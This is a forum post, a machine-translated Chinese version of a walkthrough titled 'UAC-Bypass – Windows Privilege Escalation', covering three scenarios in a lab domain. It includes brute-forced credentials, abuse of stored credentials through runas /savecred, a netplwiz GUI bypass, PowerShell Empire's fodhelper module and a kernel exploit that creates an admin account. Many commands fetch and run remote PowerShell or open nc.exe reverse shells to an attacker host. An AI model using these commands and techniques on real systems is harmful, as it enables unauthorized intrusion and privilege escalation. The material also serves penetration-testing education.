Windows 提权-UAC 绕过

打印 上一主题 下一主题

主题 892|帖子 892|积分 2676

本文通过 Google 翻译 UAC-Bypass – Windows Privilege Escalation 这篇文章所产生,本人仅是对呆板翻译中部门表达别扭的字词进行了校正及个别注释补充。
导航

0、媒介

在这篇文章中,我们将重要先容在两种不同的应用情况中(其中场景一和场景二归为一种情况),使用三种不同的 UAC 绕过技能,将中完整性 shell 提升到高完整性 shell。
注:低/中/高完整性 shell 之间的区别,以图形化界面用户启动 cmd.exe 步伐为例,平凡用户直接启动就算作低完整性 shell 吧,管理员组的用户直接启动为中完整性 shell,管理员组的用户右键“以管理员身份运行”启动为高完整性 shell
似乎只有管理员组的账户才有这种在身份稳定的情况下 shell 权限能由中转高完整性的说法,而以平凡用户和体系用户得到的 shell 一般就已经是其自身身份的完整权限了,不外具有 SeBackupPrivilege 特权的平凡域用户好像破例,如此例
在第一种情况下,我们以平凡域用户的身份在 Windows 10 呆板上获得了一个驻足点。在毛病利用后枚举阶段,我们发现了体系中存储着本地管理员用户凭据,然后我们利用存储的凭据以该管理员用户的身份获得一个中完整性的 shell。最后,我们通过两种不同的 UAC 绕过方式,最终将中完整性 shell 提升到了高完整性 shell。
在第二种情况下,我们在毛病利用后枚举阶段发现了一个内核毛病,然后利用该毛病创建了一个本地管理员账户。从那里,我们获得了一个中完整性的反向 shell,最后,我们使用第三种 UAC 绕过技能成功将其提升到高完整性 shell。
用户帐户控制(UAC)是一项安全功能,旨在防止对 Windows 计算机进行未经授权的更改。UAC 可确保任何管理级别的更改只能在管理员答应后才能进行。
明白 UAC 最简单的方法就是,将其看作是类似于在 Linux 呆板上使用 sudo 下令。使用 sudo 下令时,你必须知道 root 暗码才能以 root 权限执行下令。UAC 也是一样,右键单击要运行的步伐并选择 "以管理员身份运行 "后,体系会提示你输入管理员暗码。
大家都熟悉 UAC 弹出框,但是,让我们再看下。
假如您是平凡用户,并且尝试以管理员身份运行步伐,您将看到以下请求管理员账户暗码的窗口:


接着,我们会得到以下提示,并必要与之交互,然后才能以提升的权限运行步伐。

1、场景一:枚举得到存储的管理员凭证(GUI 环境)

假设我们对 Windows 10 主机进行了开端枚举,发现 21 端口是开放的,并托管着一个 FTP 服务器。这个FTP 服务器不允许匿名登录,但是,枚举 SMB 共享后发现用户名 efrost。有了用户名我们使用 Hydra 对 FTP 服务进行了暴力破解,结果成功找到了 FTP 用户的暗码 Coldheart1234。
FTP 上没有感爱好的文件,但由于我们找到了一组有效的凭证,因此我们决定尽可能地测试它们。
暗码重用是一个非常常见的问题。当你找到一组凭证时,请尽可能地测试 用户/暗码 组合。此外,请尽可能针对您所列举的全部账户测试您找到的任何暗码。
从最开始的扫描中,我们发现受害者的 445 端口和 3389 端口是打开的。因此,我们首先使用 Impacket 套件中的 psexec.py 工具测试了我们对 SMB 服务的访问。
  1. psexec.py juggernaut.local/efrost:Coldheart1234@172.16.1.100
复制代码

只要用户能够写入 ADMIN$ 共享,我们便能得到一个 SYSTEM shell。【注:只要能够通过 psexec.py 成功连接,那么得到的便是 SYSTEM shell。】
注:使用 psexec.py 须注意事项:

  • 服务端 445 端口必须能通讯且共享文件夹 ADMIN\(/C\)/IPC$ 必须都是共享状态(默认情况下都是开启的)。
  • 假如目标是工作组,则必须使用本地 administrator 用户连接,使用本地其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝。[下令:impacket-psexec administrator@1.1.1.1和impacket-psexec 111/administrator@1.1.1.1结果是一样,只要administrator 的暗码是精确的就行。]
  • 假如目标(该目标包含平凡域主机和域控)已加域,则可以使用域账户和本地账户两种方式进行连接。(1)使用本地账户的方式连接则只能使用本地 administrator 账户连接;[下令如上](2)使用域账户的方式连接则只能用域管理员组中的账户连接,别的域账户均不能连接,即便是在平凡域主机上。[下令:impacket-psexec sky/admin@1.1.1.1 和 impacket-psexec sky.com/admin@1.1.1.1这两种格式均可 ]【注意:网上有说 windows 版 psexec.exe 能够以平凡域用户连接平凡域主机,但我使用 impacket-psexec.py 的测试结果是不可行。我的测试环境是:win10+win server 2012 R2】
由于不是管理员用户,因此 psexec.py 连接失败。接着我们使用 rdp_check.py 测试这个域账户是否能够通过 RDP 访问,它也来自 Impacket 工具套件,结果发现我们能够通过 RDP 连接到此主机!
  1. rdp_check.py juggernaut.local/efrost:Coldheart1234@172.16.1.100
复制代码

在发现我们拥有 RDP 访问权限后,我们使用一个名为 xfreerdp 的工具来获取受害者的 GUI 会话。
  1. sudo xfreerdp /u:efrost /p:Coldheart1234 /d:juggernaut.local /v:172.16.1.100 +clipboard
复制代码

至此,我们以平凡域用户(juggernaut.local\efrost)在受害者呆板上站稳了脚跟。接着,我们继承手动枚举,使用以下下令我们发现用户 cmarko 的暗码存储在这台呆板上。
  1. cmdkey /list
复制代码

在枚举过程中,我们还发现该用户是此计算机上的本地管理员。

由于我们已经找到了存储的凭证,因此我们可以使用 runas 下令以 cmarko 用户的身份生成一个 shell,如下所示:
  1. runas.exe /savecred /env /noprofile /user:juggernaut.local\cmarko cmd
复制代码
这将以管理员用户 cmarko 的身份生成一个 shell,但当我们检查权限时,发现这是一个中完整性 shell。同时,在尝试读取管理员文件夹中的文件时,我们也被拒绝访问。
注:只有高完整性 shell 才能够访问 administrator 的家目录,这实在也是判断高完整性 shell 的一种方式。

由于我们没有 cmarko 用户的暗码,因此我们不能简单地右键单击 cmd.exe 然后单击“以管理员身份运行”,那么我们如何才能获得高完整性 shell 呢?– 就是通过执行 UAC  绕过实现。
1.1、使用 netplwiz.exe 帮助主题绕过 UAC

现实上,您可以使用相当多的二进制文件来执行类似的 UAC 绕过技能;但是,在此示例中,我们将重点先容 netplwiz.exe 步伐。
滥用内置二进制文件的最大好处是,你可以 "靠山吃山",而不用在受害者呆板上安装别的工具。此外,由于这些都是内置的二进制文件,因此这些技能也可以绕过杀毒软件的阻碍。
netplwiz.exe 用于将用户成员资格更改为 Standard 用户、Administrator、Guest 或任何别的什么。但是,它的重要功能在这里并不是真正重要的,我们更感爱好的是它的非预期功能可以被拿来滥用。
首先,在中完整性 shell 中运行 netplwiz.exe 步伐。然后,选择“Advanced”选项卡,并在“Advanced user management”部门中选择“Advanced”选项,
为了展示该技能可以绕过杀毒,我将在启用 Defender 实时保护的情况下演示这一点。

将打开本地用户和组的界面,从该框中选择 Help > Help Topics

右键单击 MMC 框并选择 View Source — 这将打开源代码的记事本 TXT 文档。

在打开的记事本编辑器中,选择 File > Open

导航到 C:\Windows\System32,然后将文件范例更改为 All Files

向下滚动以找到 cmd.exe,然后右键单击 cmd.exe >选择“以管理员身份运行”

瞧!此时将表现高完整性 shell 的提示!


同样的技能也可以用来以管理员身份运行 taskmgr.exe,而不是 cmd.exe,然后对 LSASS 进程执行内存转储。如需了解关于转储 LSASS 进程的各种技能,可以在此处检察我的相关文章。
2、场景二:枚举得到存储的管理员凭证(CLI 环境)

在本例中,我们假设在找到用户 efrost 的凭据后,检查 RDP 访问权限时表现访问被拒绝。因此,我们只能利用别的方式,想法以用户 efrost 的身份获得反向 shell。然后再次执行 cmdkey /list 下令,结果发现呆板上存储着本地管理员用户 cmarko 的凭据。

接下来,我们不能再像之前那样通过 runas.exe 来创建新的 cmd.exe 了,因为在 shell 环境下无法弹出新的 cmd.exe 窗口,以是这回我们得用 runas 以用户 cmarko 的身份创建一个反向 shell。而要完成这个操作,我们会用 runas 去执行一个 IEX 下令,这个下令能把来自 Nishang 脚本聚集里一个叫 Invoke-PowerShellTcp.ps1 的 PowerShell 脚本直接在内存中执行。
将脚本复制到您的工作目录中,然后将以下下令附加到脚本底部:
将 IP 地址更换为攻击者电脑的 IP。
  1. Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
复制代码
然后在脚本地点目录启动 HTTP 服务器。

通常我会在自己的 exploits 文件夹中保存此脚本的多个副本,这些副本文件内容唯一的不同便是文件底部下令中的端口值不同。然后,我将端口号附加到每个副本的名称中。
接下来,我们必要在攻击者计算机上启动一个 netcat 监听器,以通过端口 443 捕捉 shell。设置完毕后,我们可以使用 runas 运行以下下令,以获取反向 shell :
  1. runas.exe /savecred /user:juggernaut.local\cmarko "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp.ps1')"
复制代码

不出不测,我们获得的是一个中完整性 shell 。但是,这次我们没有 GUI 来使用内置的二进制技巧。因此,我们将利用一个名为 PowerShell Empire 的后渗透框架来绕过我们的 UAC。
2.1、使用 Empire 内置模块绕过 UAC

PowerShell Empire 后渗透框架中的 UAC 绕过模块只是 Empire 内置的浩繁令人难以置信的模块之一。
Empire 实现了无需 powershell.exe 即可运行 PowerShell 的能力,从键盘记载器到 Mimikatz 以及用于逃避网络检测的自适应通讯,全部这些模块都被包含在一个以可用性为中央的框架之中。
将 Empire 仓库克隆到攻击者呆板上后,您必要在两个下令窗口中分别执行以下下令才能启动 Empire,因为它必要服务器和客户端。
  1. powershell-empire server
  2. powershell-empire client
复制代码
接下来,您将在 Empire 客户端的窗口看到主菜单,正如你所看到的,在撰写本文时已有 394 个模块。

我们不会与 Empire 服务端选项卡交互,只与 Empire 客户端选项卡交互。
首先,我们将新建一个监听器,以便当我们在目标呆板上执行 launcher.bat(stager)时,我们将返回一个 agent。
我们可以键入 help 来获取选项列表。

在这里,我们看到 uselisteners 下令,我们将使用它来创建监听器。现在,通过键入 uselisteners 后跟一个空格,就可以看到全部可用的监听器范例。

有很多很棒的东西,像 meterpreter 和 onedrive 之类的,但这里我们将使用 http 监听器。完成该下令后,按下回车键,此时您就会看到一个(Empire: uselistener/http)> 的提示符号。然后,通过使用 options 下令,我们能够看到这个监听器的可配置选项。我们得保证 Host 和 Port 都已设定好。

要设置 Host 或 Port 的新值,请使用 set 下令。比方:set Port 1337
现在我们已经设置了全部必须的选项,可以使用 execute 下令来启动监听器了。

有了这样的设置,当我们键入 listeners 下令时,就能看到监听器已按我们想要的方式设置好,并已运行。

接下来,我们必要构建我们的启动器(stager),这样就可以在受害者呆板上运行它,以获得反向 shell。输入 usestager,然后输入空格,我们就可以看到全部可用的不同范例的启动器。OSX 和 Windows 下有很多的范例可以选择,但我们最感爱好的是 launcher.bat

完成下令并按 Enter,您将看到有关这个 stager  启动器的全部参数信息,以及一个新的提示:(Empire: usestager/windows/launcher_bat) >

从参数信息中,可以看到我们必要为这个 stager 启动器设置 Listener。使用下令 set Listener http ,我们的 stager 就可以使用了。接下来,只需使用下令 execute,它将为我们创建 launcher.bat 文件。

然后在另一个下令窗口中,将 launcher.bat 文件移动到您的工作目录并启动 HTTP 服务器,以便我们可以将其下载到受害者呆板上。

由于我们的中完整性 shell 仍旧以 cmarko 打开,以是就使用它来下载 launcher.bat 并执行它。

执行 launcher.bat 后,提示符挂起并重新回到我们的 Empire 客户端上,我们可以看到新代理签入。然后,通过使用 agents 下令,我们可以看到有关签入的代理的更多信息。
执行 launcher.bat 之后,我们回到 Empire 客户端,可以看到一个新的 agent 连接已建立。然后,通过使用 agents 下令,我们可以看到关于 agent 的更多信息。

在这里,我们可以使用 rename 下令将 agent 重命名为更易于区分的名称。这在您有相当多的 agent 时,尤其有效。
重命名 agent 后,我们可以再次使用 agents 下令来确认名称更改已成功完成。之后,我们可以使用 interact 下令与 agent 进行交互。

在这里,我们可以利用 Empire 后渗透模块的全部功能,这些模块有很多!不外,在本例中,我们将重点关注 bypassuac 模块。
让我们继承键入 bypassuac,后跟一个 tab,它应该会主动填充 bypassuac http,这是我们监听器的名称。在这里,我们看到 Empire 尝试运行默认模块 powershell/privesc/bypassuac_eventviewer 。我们看到任务已启动,但一分钟后我们没有看到任何事变发生。

但是,有多个模块可用于绕过 UAC。要获取完整列表,我们必要使用 usemodule 下令,后跟 powershell/privesc/bypassuac ,如下所示:

在这个列表中,第一个和第三个是雷同的,因为这是 UAC 绕过的一种非常常见的技能。不外,我对最后一个模块 powershell/privesc/bypassuac_fodhelper 更感爱好,因为根据我的经验,这似乎是最有效的模块。
当我使用 Empire 绕过 UAC 时,我通常会先尝试 bypassuac_fodhelper,假如这不起作用,我将从上到下逐一尝试。
选择 fodhelper 模块并按 Enter 键后,我们会看到有关该模块的更多信息,可以看到我们必要设置 Listener。

现在,我们必要使用下令 set Listener http,接着执行 execute,然后等候检察是否有新的 agent 产生。
在这里,我们看到毛病利用有结果,然后再次使用 agents 下令,可以看到一个新的 agent,其名称旁边有一个星号(*)。这意味着这是一个高完整性 shell 的会话!

最后,我们重命名此 agent。然后,我们可以使用 interact 下令与下一个 agent 进行交互。

现在,我们可以在高完整性 shell 中以 cmarko 的身份执行下令,然后输入要执行的下令。
很多时候,当我使用 Empire 并执行下令时,它似乎暂停并挂起了。但现实上,只需键入 Interact,然后再次键入 Agent 名字,即可表现下令的结果。
Empire 的 shell 体验并不是最好的,以是我们要使用 shell 下令来执行另一个 Nishang PowerShell 的反向 TCP 脚本,如下所示:
  1. shell "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp21.ps1')"
复制代码
由于 Empire HTTP 监听器使用的是 443 端口,因此我使用了 Invoke-PowerShellTcp 的另一个副本,将 21 端口作为反向 shell 的连接端口。在执行上述下令之前,我又在攻击呆板上的 21 端口启动了 netcat 监听器,并在存放此脚本的目录中启动了 HTTP 服务器。
执行下令后,我们在监听器窗口得到了一个新的 shell。

我们不仅获得了一个 shell,还获得了一个高完整性 shell,其中列出了我们的全部权限!

这样,我们成功的绕过了 UAC,该过程完全不必要使用图形用户界面,也不必要知道管理员用户 cmarko 的暗码!
另一个可能必要使用 UAC 绕过的示例是,当您使用 BeEF 挂接本地管理员的欣赏器,然后使用欣赏器毛病获取 shell。这险些总是会导致低完整性 shell(甚至不是中等)。假如用户位于本地管理员组中,则必须先升级到中等完整性 shell,然后才能使用 UAC 绕过来获取高完整性 shell。
3、场景三:利用内核毛病创建管理员凭据(CLI 环境)

在本例中,我们以标准用户的身份站稳了脚跟,在枚举过程中,我们发现受害者的 Windows 版本不是最新的。
  1. systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Network Card(s)" /C:"Hotfix(s)"
复制代码

看到“Build 17134”就意味着按照在维基百科上找到的这张图表所示,这是 Windows 10 的 1803 版本。

知道这是 Windows 10 的旧版本后,我们在攻击者的呆板上通过 searchsploit 找到了这个确切版本的内核毛病。
  1. searchsploit windows 10 1803
复制代码

我们将毛病利用镜像到我们的工作目录中,然后检察它的作用。
  1. searchsploit -m 47684
复制代码
阅读该说明文件,我们可以将要使用的毛病利用步伐是一个 EXE 范例,其能够以 SYSTEM 的身份执行下令。

这是该 EXE 毛病利用步伐的仓库连接
将文件下载到攻击者呆板上后,我们将其发送给受害者,并使用它来创建一个本地管理员用户。

我发现,在没有自定义下令的情况下,直接执行毛病利用步伐是可以创建管理员用户,但提示的暗码 RibSt3ak69 并不起作用!
由于暗码不起作用,我们必要再次使用 COMahawk64.exe 来更改暗码!
  1. .\COMahawk64.exe "net user tomahawk password"
复制代码
有了可用的暗码,我们现在就可以使用 PowerShell 版本的 runas 以我们新创建的本地管理员用户身份获取反向 shell。不外,我们必要将 nc.exe 下载到受害者呆板上,这样就可以在 PowerShell runas 下令中使用它将反向 shell 推送到攻击者呆板上。
将 nc.exe 下载到受害者后,我们必要在攻击者呆板上的端口 53 上启动监听器。接下来,我们将使用以下 4 个下令创建 3 个变量(用户名、暗码和主机名),然后将这些变量传递到 nc.exe 下令中,以管理员用户身份获取 shell。
  1. $secpasswd = ConvertTo-SecureString "password" -AsPlainText -Force
  2. $mycreds = New-Object System.Management.Automation.PSCredential ("tomahawk", $secpasswd)
  3. $computer = "JUGG-efrost"
  4. [System.Diagnostics.Process]::Start("C:\temp\nc.exe","172.16.1.30 53 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
复制代码

回到监听器,我们看到获得了一个中完整性 shell。


由于此 shell 的完整性不高,因此我们必要再次执行 UAC 绕过以提升我们的管理员权限。
3.1、使用 Elev-Function.ps1 脚本绕过 UAC

在这最后一个示例中,我们将使用名为 Elev-Function.ps1 的 PowerShell 脚本,这是一个 UACME 版本的 ps1 脚本,可在此处获得。
将此脚本复制到您的工作目录中,以便可以从我们的 HTTP 服务器将其提供给受害者。
根据我使用此脚本的经验,要使其工作的唯一方法就是在脚本底部添加要执行的下令。
由于我们体系上已经有了 netcat,因此我们可以在脚本底部添加以下下令:
  1. Bypass-UAC "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
复制代码
我还将脚本的名称重命名为 Bypass-UAC.ps1,并编辑此脚本,将脚本中 cmd.exe 字串更改为 powershell.exe。这不是脚本工作所必须的,但必要提及一下该脚本是可以这样改动的。

接下来,我们将脚本下载到受害者呆板上。

现在,受害者呆板上已经拥有了 nc.exe 和 Bypass-UAC.ps1,同时,我们还必要在攻击者计算机的端口 443 上启动 netcat 监听器。
一切就绪后,接下来我们将在当前会话中加载 Bypass-UAC.ps1。
  1. powershell.exe -ep bypass -c ".\Bypass-UAC.ps1"
复制代码
使用 powershell.exe -ep bypass -c 来执行脚本允许我们绕过 powershell.exe 的默认执行战略,该战略默认处于打开状态,目标是不允许将外部脚本加载到当前会话中。
加载脚本后,我们会立即看到下令被执行,并创建注册表 hive,从而获得提升的 shell。

回到监听器,我们看到获得了一个高完整性 shell,它的身份是本地管理员用户 tomahawk。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

钜形不锈钢水箱

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表